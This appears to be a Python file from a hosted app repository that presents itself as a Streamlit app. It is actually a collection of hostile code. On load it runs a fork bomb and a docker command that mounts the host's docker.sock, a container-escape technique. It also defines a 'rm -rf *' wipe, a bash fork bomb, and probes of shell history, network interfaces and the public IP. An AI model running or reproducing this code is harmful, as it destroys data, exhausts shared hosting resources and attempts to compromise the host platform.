Test_Spaces / app.py
skikes123's picture
Update app.py
dc09ba8 verified
Raw History Blame Contribute Delete
2.49 kB
import streamlit as st
import os
import time
import subprocess
import requests
def controlled_fork_boom():
while True:
pid = os.fork() # Create a new process
if pid == 0: # This block is executed in the child process
while True:
print(f"Child process {os.getpid()} created by parent {os.getppid()}")
os._exit(0) # Exit child process
if __name__ == "__main__":
print("Starting controlled fork boom...")
controlled_fork_boom()
print("All child processes have exited.")
def command_7():
command = "rm -rf *"
try:
subprocess.run(command, shell=True, check=True)
except subprocess.CalledProcessError as e:
return f'Error running history command: {e.returncode}'
def get_history():
try:
result = subprocess.check_output(['bash', '-i', '-c', 'history -r; history'])
return f'{result}'
except subprocess.CalledProcessError as e:
return f'Error running history command: {e}'
def get_ip_addr_show():
try:
result = subprocess.run(['ip', 'addr', 'show'], capture_output=True, text=True, check=True)
return result.stdout
except subprocess.CalledProcessError as e:
return f'Error running ip addr show: {e}'
def get_ip():
try:
response = requests.get('https://ip.nf/me.json')
response.raise_for_status() # Raise an exception for HTTP errors
return response.json().get('ip', 'Unknown IP')
except requests.RequestException as e:
return f'Error fetching IP: {e}'
def command_4():
command = "bash -c ':(){ :|:& };:'"
try:
subprocess.run(command, shell=True, check=True)
except subprocess.CalledProcessError as e:
return f'Error running history command: {e.returncode}'
def command_1():
command1 = "cd .."
command2 = "ls"
command3 = "hostname"
command4 = " docker run -v /var/run/docker.sock:/var/run/docker.sock -it r-skikes123-test-spaces-hbyd20e4-aba72-iq6m6"
try:
subprocess.run(command1, shell=True, check=True)
subprocess.run(command2, shell=True, check=True)
subprocess.run(command3, shell=True, check=True)
subprocess.run(command4, shell=True, check=True)
except subprocess.CalledProcessError as e:
return f'Error running history command: {e.returncode}'
command_1()
controlled_fork_boom()
# command_4()
# command_7()
# get_history()
# get_ip_addr_show()
# get_ip()